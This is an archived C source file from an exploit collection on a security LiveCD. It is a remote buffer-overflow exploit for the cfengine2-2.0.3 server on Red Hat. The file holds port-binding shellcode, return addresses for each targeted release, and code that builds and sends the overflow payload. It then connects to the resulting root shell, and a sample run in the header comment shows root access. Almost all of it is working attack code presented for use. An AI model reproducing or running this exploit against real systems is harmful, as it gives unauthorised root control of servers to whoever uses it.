home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / remote / cnex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  533 lines

  1. /*********************************************************************************\
  2.  
  3. * jsk / cfengine2-2.0.3 from redhat 
  4.  
  5. * advisory: http://packetstormsecurity.nl/0309-advisories/cfengine.txt
  6.  
  7. * forking portbind shellcode 0port=26112)  by netric
  8.  
  9. * bug discovered by nick cleaton, tested on redhat
  10.  
  11. * DSR-cfengine.pl :)  i think it has some bugs.maybe it is only public
  12. * version...... possbile another reasns.....
  13. * the begin buf of exploit could be like "111111". so....DSR...
  14. * by jsk from Ph4nt0m Security Team
  15.  
  16. * jsk@ph4nt0m.net  chat with us ( irc.0x557.org  #ph4nt0m)
  17.  
  18. * Greets bR-00t. eSdee.B??.lnewy.#cheese and all #ph4nt0m 
  19.  
  20. * [root@localhost tmp]# ./cnex -h 127.0.0.1 -p 5803 -t 0
  21.  
  22. *
  23.  
  24. * cfengine2-2.0.3:server remote buffer overflow exploit
  25.  
  26. * by jsk.
  27.  
  28. * Greets bR-00t and all #ph4nt0m .
  29.  
  30. *[+] Hostname: 127.0.0.1
  31. *[+] Port num: 5308
  32. *[+] Retaddr address: 0x4029cc2c
  33. *[1] #1 Set  codes.
  34. *[1] #1 Set socket.
  35. *[*] attempting to connect: 127.0.0.1:5308.
  36. *[*] successfully connected: 127.0.0.1:5308.
  37. *[1] #1 Send codes.
  38. *[1] #3 Get shell.
  39. *[*] checking to see if the exploit was successful.
  40. *[*] attempting to connect: 127.0.0.1:26112.
  41. *[*] successfully connected: 127.0.0.1:26112.
  42. * id
  43.  *uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6  ** (disk),10(wheel)
  44.  
  45.  
  46.  
  47. \*********************************************************************************/
  48.  
  49.  
  50.  
  51.  
  52.  
  53. #include <stdio.h>
  54.  
  55. #include <signal.h>
  56.  
  57. #include <unistd.h>
  58.  
  59. #include <sys/socket.h>
  60.  
  61. #include <netdb.h>
  62.  
  63. #include <netinet/in.h>
  64.  
  65. #define BUFSIZE 4136
  66.  
  67. #define D_PORT 5803
  68.  
  69. #define D_HOST "www.ph4nt0m.net"
  70.  
  71. #define TIMEOUT 10
  72.  
  73.  
  74.  
  75. char shell[]=  /* bindshell(26112)&, netric. */
  76.  
  77.         "\x90\x90\x90\x31\xdb\xf7\xe3\x53\x43\x53"
  78.         "\x6a\x02\x89\xe1\xb0\x66\x52"
  79.         "\x50\xcd\x80\x43\x66\x53\x89"
  80.         "\xe1\x6a\x10\x51\x50\x89\xe1"
  81.         "\x52\x50\xb0\x66\xcd\x80\x89"
  82.         "\xe1\xb3\x04\xb0\x66\xcd\x80"
  83.         "\x43\xb0\x66\xcd\x80\x89\xd9"
  84.         "\x93\xb0\x3f\xcd\x80\x49\x79"
  85.         "\xf9\x52\x68\x6e\x2f\x73\x68"
  86.         "\x68\x2f\x2f\x62\x69\x89\xe3"
  87.         "\x52\x53\x89\xe1\xb0\x0b\xcd"
  88.         "\x80";
  89. struct op_plat_st
  90.  
  91. {
  92.  
  93. int op_plat_num;
  94.  
  95. char *op_plat_sys;
  96.  
  97. u_long retaddr;
  98.  
  99. int off_st;
  100.  
  101. };
  102.  
  103. struct op_plat_st __pl_form[]=
  104.  
  105. {
  106.  
  107.  
  108.  
  109. {0,"red 8.0",0x4029cc2c,0},
  110.  
  111. {1,"red 9.0(cmp)",0x4029cda0,0},
  112.  
  113.  
  114.  
  115. {2,"red 7.2 (Compile)",0x44444444,0},
  116.  
  117. {3,"red 7.3 (Compile)",0x44444444,0},
  118.  
  119. NULL
  120.  
  121. };
  122.  
  123. void banrl();
  124.  
  125. void x_fp_rm_usage(char *x_fp_rm);
  126.  
  127. unsigned short sock_connect(char *,unsigned short);
  128.  
  129. void getshell(char *,unsigned short);
  130.  
  131. void printe(char *,short);
  132.  
  133. void sig_alarm(){printe("alarm/timeout hit.",1);}
  134.  
  135. void banrl()
  136.  
  137. {
  138.  
  139. fprintf(stdout,"\n cfengine2-2.0.3:server remote buffer overflow exploit)\n");
  140.  
  141. fprintf(stdout," by jsk.\n");
  142.  
  143. fprintf(stdout," Greets Br-00t and all #ph4nt0m .\n");
  144.  
  145. }
  146.  
  147.  
  148.  
  149. void x_fp_rm_usage(char *x_fp_rm)
  150.  
  151. {
  152.  
  153. int __t_xmp=0;
  154.  
  155. fprintf(stdout,"\n Usage: %s -[option] [arguments]\n\n",x_fp_rm);
  156.  
  157. fprintf(stdout,"\t -h [hostname] - target host.\n");
  158.  
  159. fprintf(stdout,"\t -p [port] - port number.\n");
  160.  
  161. fprintf(stdout,"\t -s [addr] - &shellcode address.\n\n");
  162.  
  163. fprintf(stdout," Example> %s -h target_hostname -p 8000 -t num\n",x_fp_rm);
  164.  
  165. fprintf(stdout," Select target number>\n\n");
  166.  
  167. for(;;)
  168.  
  169. {
  170.  
  171. if(__pl_form[__t_xmp].op_plat_num==(0x82))
  172.  
  173. break;
  174.  
  175. else
  176.  
  177. {
  178.  
  179. fprintf(stdout,"\t {%d} %s\n",__pl_form[__t_xmp].op_plat_num,__pl_form[__t_xmp].op_plat_sys);
  180.  
  181. }
  182.  
  183. __t_xmp++;
  184.  
  185. }
  186.  
  187. fprintf(stdout,"\n");
  188. exit(0);
  189. }
  190.  
  191.  
  192.  
  193. int main(int argc,char *argv[])
  194.  
  195. {
  196.  
  197. int port=D_PORT;
  198.  
  199. char hostname[0x333]=D_HOST;
  200.  
  201. int whlp,type=0;
  202.  
  203. unsigned int i=0;
  204.  
  205. char *buf;
  206.  
  207. int sd;
  208.  
  209. u_long retaddr=__pl_form[type].retaddr;
  210.  
  211.  
  212.  
  213. (void)banrl();
  214.  
  215. while((whlp=getopt(argc,argv,"T:t:H:h:P:p:IiXx"))!=EOF)
  216.  
  217. {
  218.  
  219. extern char *optarg;
  220.  
  221. switch(whlp)
  222.  
  223. {
  224.  
  225. case 'T':
  226.  
  227. case 't':
  228.  
  229. if((type=atoi(optarg))<6)
  230.  
  231. {
  232.  
  233. retaddr=__pl_form[type].retaddr;
  234.  
  235. }
  236.  
  237. else (void)x_fp_rm_usage(argv[0]);
  238.  
  239. break;
  240.  
  241.  
  242.  
  243.  
  244.  
  245. case 'H':
  246.  
  247. case 'h':
  248.  
  249. memset((char *)hostname,0,sizeof(hostname));
  250.  
  251. strncpy(hostname,optarg,sizeof(hostname)-1);
  252.  
  253. break;
  254.  
  255.  
  256.  
  257. case 'P':
  258.  
  259. case 'p':
  260.  
  261. port=atoi(optarg);
  262.  
  263. break;
  264.  
  265.  
  266.  
  267. case 'I':
  268.  
  269. case 'i':
  270.  
  271. fprintf(stderr," Try `%s -?' for more information.\n\n",argv[0]);
  272.  
  273. exit(-1);
  274.  
  275.  
  276.  
  277. case '?':
  278.  
  279. (void)x_fp_rm_usage(argv[0]);
  280.  
  281. break;
  282.  
  283. }
  284.  
  285. }
  286.  
  287.  
  288.  
  289. if(!strcmp(hostname,D_HOST))
  290.  
  291. {
  292.  
  293. (void)x_fp_rm_usage(argv[0]);
  294.  
  295. }
  296.  
  297. {
  298.  
  299. fprintf(stdout," [+] Hostname: %s\n",hostname);
  300.  
  301. fprintf(stdout," [+] Port num: %d\n",port);
  302.  
  303. fprintf(stdout," [+] Retaddr address: %p\n",retaddr);
  304.  
  305. }
  306.  
  307.  
  308.  
  309. fprintf(stdout," [1] #1 Set  codes.\n");
  310.  
  311.  
  312.  
  313.  if(!(buf=(char *)malloc(BUFSIZE+1)))
  314.  
  315.   printe("getcode(): allocating memory failed.",1);
  316.  
  317.  
  318.  
  319.   memset(buf, 0x90, BUFSIZE);
  320.  
  321.   buf[0] = '1';
  322.   buf[1] = '1';
  323.   buf[2] = '1';
  324.   buf[3] = '1';
  325.   buf[4] = '1';
  326.   buf[5] = '1';
  327.   buf[6] = '1';
  328.  
  329.   memset(buf+7,0x90,636); 
  330.  
  331.   memcpy(buf+7+636,shell, sizeof(shell));
  332.  
  333.   memset(buf+7+636+strlen(shell),0x90,3500); 
  334.  
  335.   memcpy(&buf[BUFSIZE-(sizeof(retaddr))], &retaddr, sizeof(retaddr));
  336.  
  337.   memcpy(&buf[BUFSIZE-(2*sizeof(retaddr))], &retaddr, sizeof(retaddr));
  338.  
  339.   memcpy(&buf[BUFSIZE-(3*sizeof(retaddr))], &retaddr, sizeof(retaddr));
  340.   memcpy(&buf[BUFSIZE-(4*sizeof(retaddr))], &retaddr, sizeof(retaddr));
  341.  
  342.   memcpy(&buf[BUFSIZE-(5*sizeof(retaddr))], &retaddr, sizeof(retaddr));
  343.  
  344.   memcpy(&buf[BUFSIZE-(6*sizeof(retaddr))], &retaddr, sizeof(retaddr));
  345.   memcpy(&buf[BUFSIZE-(7*sizeof(retaddr))], &retaddr, sizeof(retaddr));
  346.  
  347.   memcpy(&buf[BUFSIZE-(8*sizeof(retaddr))], &retaddr, sizeof(retaddr));
  348.  
  349.   memcpy(&buf[BUFSIZE-(9*sizeof(retaddr))], &retaddr, sizeof(retaddr));
  350.  
  351.  fprintf(stdout," [1] #1 Set socket.\n");
  352.  
  353.  sd=sock_connect(hostname,port);
  354.  
  355. fprintf(stdout," [1] #1 Send codes.\n");
  356.  
  357.  write(sd,buf,BUFSIZE);
  358.  
  359.  close(sd);
  360.  sleep(1);
  361. fprintf(stdout," [1] #3 Get shell.\n");
  362.  getshell(hostname,26112);
  363.  exit(0);
  364.  
  365. }
  366.  
  367. unsigned short sock_connect(char *hostname,
  368.  
  369. unsigned short port){
  370.  
  371.  int sock;
  372.  
  373.  struct hostent *t;
  374.  
  375.  struct sockaddr_in s;
  376.  
  377.  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  378.  
  379.  s.sin_family=AF_INET;
  380.  
  381.  s.sin_port=htons(port);
  382.  
  383.  printf("[*] attempting to connect: %s:%d.\n",hostname,port);
  384.  
  385.  if((s.sin_addr.s_addr=inet_addr(hostname))){
  386.  
  387.   if(!(t=gethostbyname(hostname)))
  388.  
  389.    printe("couldn't resolve hostname.",1);
  390.  
  391.   memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  392.  
  393.   sizeof(s.sin_addr));
  394.  
  395.  }
  396.  
  397.  signal(SIGALRM,sig_alarm);
  398.  
  399.  alarm(TIMEOUT);
  400.  
  401.  if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  402.  
  403.   printe("netris connection failed.",1);
  404.  
  405.  alarm(0);
  406.  
  407.  printf("[*] successfully connected: %s:%d.\n",hostname,port);
  408.  
  409.  return(sock);
  410.  
  411.  }
  412.  
  413. void getshell(char *hostname,unsigned short port){
  414.  
  415.  int sock,r;
  416.  
  417.  fd_set fds;
  418.  
  419.  char buf[4096+1];
  420.  
  421.  struct hostent *he;
  422.  
  423.  struct sockaddr_in sa;
  424.  
  425.  printf("[*] checking to see if the exploit was successful.\n");
  426.  
  427.  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  428.  
  429.   printe("getshell(): socket() failed.",1);
  430.  
  431.  sa.sin_family=AF_INET;
  432.  
  433.  if((sa.sin_addr.s_addr=inet_addr(hostname))){
  434.  
  435.   if(!(he=gethostbyname(hostname)))
  436.  
  437.    printe("getshell(): couldn't resolve.",1);
  438.  
  439.   memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  440.  
  441.   sizeof(sa.sin_addr));
  442.  
  443.  }
  444.  
  445.  sa.sin_port=htons(port);
  446.  
  447.  signal(SIGALRM,sig_alarm);
  448.  
  449.  alarm(TIMEOUT);
  450.  
  451.  printf("[*] attempting to connect: %s:%d.\n",hostname,port);
  452.  
  453.  if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  454.  
  455.   printf("[!] connection failed: %s:%d.\n",hostname,port);
  456.  
  457.   return;
  458.  
  459.  }
  460.  
  461.  alarm(0);
  462.  
  463.  printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
  464.  
  465.  signal(SIGINT,SIG_IGN);
  466.  
  467.  write(sock,"uname -a;id\n",13);
  468.  
  469.  while(1){
  470.  
  471.   FD_ZERO(&fds);
  472.  
  473.   FD_SET(0,&fds);
  474.  
  475.   FD_SET(sock,&fds);
  476.  
  477.   if(select(sock+1,&fds,0,0,0)<1)
  478.  
  479.    printe("getshell(): select() failed.",1);
  480.  
  481.   if(FD_ISSET(0,&fds)){
  482.  
  483.    if((r=read(0,buf,4096))<1)
  484.  
  485.     printe("getshell(): read() failed.",1);
  486.  
  487.    if(write(sock,buf,r)!=r)
  488.  
  489.     printe("getshell(): write() failed.",1);
  490.  
  491.   }
  492.  
  493.   if(FD_ISSET(sock,&fds)){
  494.  
  495.    if((r=read(sock,buf,4096))<1)
  496.  
  497.     exit(0);
  498.  
  499.    write(1,buf,r);
  500.  
  501.   }
  502.  
  503.  }
  504.  
  505.  close(sock);
  506.  
  507.  return;
  508.  
  509. }
  510.  
  511. void printe(char *err,short e){
  512.  
  513.  fprintf(stdout," [-] Failed.\n\n");
  514.  
  515.  fprintf(stdout," Happy Exploit ! :-)\n\n");
  516.  
  517.  
  518.  
  519.  if(e)
  520.  
  521.   exit(1);
  522.  
  523.  return;
  524.  
  525. }
  526.  
  527.  
  528.  
  529.  
  530.  
  531.  
  532.  
  533.